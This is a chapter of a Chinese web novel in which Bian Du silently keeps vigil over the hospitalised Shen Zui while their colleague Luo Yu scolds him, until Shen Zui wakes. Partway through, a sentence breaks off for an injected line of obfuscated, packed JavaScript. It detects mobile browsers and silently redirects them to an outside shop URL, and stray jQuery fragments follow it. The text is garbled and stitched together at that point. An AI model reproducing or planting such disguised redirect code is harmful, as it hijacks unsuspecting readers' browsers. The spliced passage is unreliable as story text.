病房门吱呀被推开，看到里边杵着的边渡罗宇脸色唰地变沉，几乎算黑着脸把保温罐放在柜子上。
边渡还是不说话，死人跟被喂了哑药一样。他甚至眼皮都没抬一下，绷着脸头也不抬地用热毛巾替沈最擦着手。
其实这样的边渡才更像罗宇记忆里的边渡。
沉默，不爱搭理人，甚至乍一看会觉得这小孩阴恻恻的，一点都不是那种讨人喜欢的文静小孩。
好多年前沈最得过一次肠胃炎，大晚上在录音棚里吐得死去活来。
那天罗宇要陪老婆回娘家，下班下得很早。听到这个消息的时候沈最已经被边渡送去了医院，这会正在输液大厅里吊针水。
哪能让一个半大孩子陪着输液，第二天还得上学呢。安置好老婆，罗宇套上衣服又往外赶，原本想着把小孩儿送回家，他又过来陪沈最输液，了不起第二天大家都放假补觉。
时间已经快到下半夜，输液大厅里已经没多少病患，一大一小的组合第一眼就能找到。
输液瓶只剩最后一瓶半，沈最没那么难受，已经睡了过去。他身上盖着件校服，校服领口被掖进了他下巴颏底下，掖得严严实实，而边渡却只穿着里头的一件短袖坐在地上。
为了空气流通，医院的新风和中央空调开蛮足，穿着西装的罗宇刚进来那会都感觉到了凉意。但边渡好像没什么感觉，盘腿坐在冰凉的地板上，身体紧紧地贴着沈最的小腿。
青春期，正是抽条的时候，边渡看起来跟竹竿儿一样。弓着腰不知道在做什么，后背的两个肩胛骨往外突，像两个被突兀剪断的翅膀。
罗宇从后面碰了碰边渡，压低了声音同他讲话：“嘛呢？坐地上跟个吉祥物似的。”
边渡没讲话，也同现在一样，头都没抬。地上有已经写好还没收进书包里的练习册，怀里竟然抱着一个用塑料瓶装的白开水。
有些怔然，但又觉得好笑。罗宇胡乱揉了一把边渡短短的头发，招呼他起来，“作业写完了没有就在这浪费时间？语文这次作文又空着不会写，你看沈最踹不踹你？”
小哑巴总算有点反应，他抬起头，把快凉了的那个矿泉水瓶收起来，又把怀里揣着的热水瓶递到沈最输着液的手掌下，期间没看过罗宇一眼。
被动静惊醒，沈最双眼咪蒙，鼻音很重地喊了边渡一声：“……小边？”
边渡简短地应了声，低下头想了想，把地上的语文练习册捡起来，翻到后面的作文练习。
难得能看到他皱眉的样子，这会倒是见他眉心竖起来一条纹路，碳素笔都快在作业纸上戳出一个洞才不情不愿地写下第一个字。
怔了怔神，沈最才正儿八经醒过来。意识到自己身上盖的是边渡的衣服，沈最下意识反手贴在了边渡脸上。
针头回血，沈最手背疼得嘶了一声，但远不及温热的掌心碰到冰凉的腮颊来得震撼。
“小边！”刚刚只能算得上从梦中醒来，现在指尖碰到边渡凉得像冰团一样的脸，那才算真给吓醒了，“怎么坐地上？赶紧起来，咱俩一块躺这输液你就高兴了。”
这老半天，边渡那作文就写了一行。被打扰后，剩下的半句又写不出来了。
他不大高兴，抬头瞪了沈最一眼。
顿了一下，边渡泄气般又把练习册阖上，然后木着脸把沈最的手扶回去。确认这么一点回血不会有大碍，边渡放下心来，木着脸对沈最说：“跑针手肿起来会疼，你坐好不要乱动。”
“那你回去睡觉，冻病了算谁的？”
边渡看着沈最，不起身也不回应。想了想，又把那本练习册翻开，继续和自己写不下去的作文较劲。
自觉和他说不通，沈最抬头用下巴指了指他，示意罗宇把他弄走。
小孩儿向来执拗，以前没法把他从地上拽起来弄回家，现在罗宇也没法儿和他正常的交流。只是画面相似，难免勾起来一点无关紧要的回忆。
据后来沈最说，那天夜里打不到车，是边渡把沈最一路背进医院的。
过去的边渡肯为沈最做到这个地步。
现在呢，罗宇嚼不清楚。
那天边渡一言不发地走开，隔了一会又自己走了回来。从那以后一直到现在，他就再没离开过。
第一天，沈最在重症监护室里，边渡穿着那件裹着血的衣服在病房门口站了一宿。
第二天，沈最转危为安，送进了加护病房。
医生说注意事项的时候，边渡垂着眼睛记牢医生说的每一个字。等医护人员离开病房，边渡就像一个严格执行指令的机器人那样，开始围着病床上的沈最做那些医生吩咐下来的事情。
第三天，他身上的那件衣服沾了血的地方已经开始发黑变硬。罗宇来送饭的时候闻到这股子腥味儿差点没被熏晕过去，气得扔着饭盒就下楼去对面优衣库买了件衣服摔边渡身上。
但边渡还是没动，把卫衣拎到一边，转头从抽屉里翻出来一罐润肤露。
沈最戴着氧气面罩，被压迫着的皮肤泛起一道红痕。边渡轻轻掀起来一点，用沾着润肤露的指腹轻柔擦过。
他想沈最快快醒来，又担心自己力气太大，吵醒此刻正在安睡的沈最。
等所有的事情做完，罗宇终于逮到机会把边渡薅起来，不由分说把他连同卫衣塞进卫生间，粗暴地扒下边渡那身皮给他换了件衣服。
那股可怕的腥锈味终于从边渡身上离开，加上下午沈最醒了一阵，罗宇终于稍微顺心一点儿。
今天是第四天，罗宇觉得还是要说话，板着脸问边渡：“饭都冷了你到底吃不吃？”
边渡用沾了水的棉签擦过沈最的唇，想尽可能地让沈最多补充一点水分。
油盐不进的样子让罗宇气不轻，往他背上招呼了一掌，不耐烦道：“你垮着脸给谁看呢？人还没死呢，你在这演哪门子绝食？”
边渡顿了下，终于肯抬头看一眼罗宇。他指了指放在柜子上的半个三明治，还是不屑和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946981|145907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罗宇有任何交流。
这半个三明治昨天来的时候就放在那，今天来还在那。罗宇简直能被气笑，不知道该说什么好，索性直接把那个黄瓜片已经变色了的三明治扔进垃圾桶里。然后瞪大了眼睛咬牙道：“爱吃不吃，不吃拉倒。等沈最醒过来，我第一句话就是和他讲你闹绝食。”
本以为还要抵抗拉扯一会，话音刚落，边渡立马站了起来，端起罗宇提来的饭盒。
原本想着沈最今天要是能醒也能多少吃一点东西，为此罗宇这桶粥里基本没放调料，就用手指捻了一小撮盐进去。盛出来前他尝过，压根尝不出来什么味道。
结果沈最没醒，大半桶瘦肉粥都成了边渡的。
他也不挑，一勺一勺往嘴里送，心甘情愿到罗宇在考虑要不要把兜里的老干妈香辣菜拿出来，好歹掺进去还能凑个味儿。
但从边渡的表情上看，他好像不需要这个东西。
这不也吃得心甘情愿，狼吞虎咽嚒……
能交流，就不算讨人嫌。知道边渡不可能离开，罗宇不会自讨没趣，只是挥挥手对边渡说：“你去旁边眯会儿吧，总熬着算怎么回事儿？”
边渡眼也不抬，沉默着把保温桶收拾好递还给罗宇，然后又坐回到病床边的靠背椅上。
他太过沉默，也太过执拗。
好像一尊冥顽不灵的雕塑。
静谧的病房里只剩检测仪器在响，时不时发出的一声响声融进边渡的呼吸里。
没有人可以猜得透他所有没有情绪的眼底到底藏着什么。
又或者说，猜他的情绪太简单，无非就是沈最两个字。
先前困扰着的问题在舌尖嚼了几个来回，又被罗宇咽了回去。他取下眼镜擦了擦上头呼出的白雾，呼噜了一把边渡的后脑勺：“现在这么宝贝，早前干嘛这样？要是救不回来，我看你有你哭的。”
边渡凌厉地瞥了一眼，压低了的眉眼看起来极具气势。他握紧沈最的手，霎时觉得自己掌心湿了一层。
意识到说这话不好，罗宇镜片后的眼眸微动，心虚抹了把自己并不存在的胡茬。
“算了算了，我跟你置什么气？我能拉住他也不至于这样。”
被吱呀推开的门，又在吱呀声中阖上。边渡将凌厉收起来，擦干净沈最被自己弄潮湿的掌心，然后小心翼翼地将脸贴了上去。
日暮西沉，有人碰了碰边渡的脸。只是指腹轻轻扫过，像羽毛一样，轻轻蹭了一下。
身体在一瞬间僵住，又在一瞬间所有的细胞都活了过来。
边渡直起身，不可思议地紧紧盯着沈最的脸。看着他纤长的睫毛颤动，看着他眯朦的双眼睁开，然后视线恢复清明。
先前蹭过边渡脸颊的手指动了动，在洁白的被子上挪蹭，然后缓缓抬起。
刚抬一半，被边渡按了回去。他不讲话，但喉结一直在上下滚动。好半晌，生涩、沙哑的声音在病床边响起.
“会疼……别动。”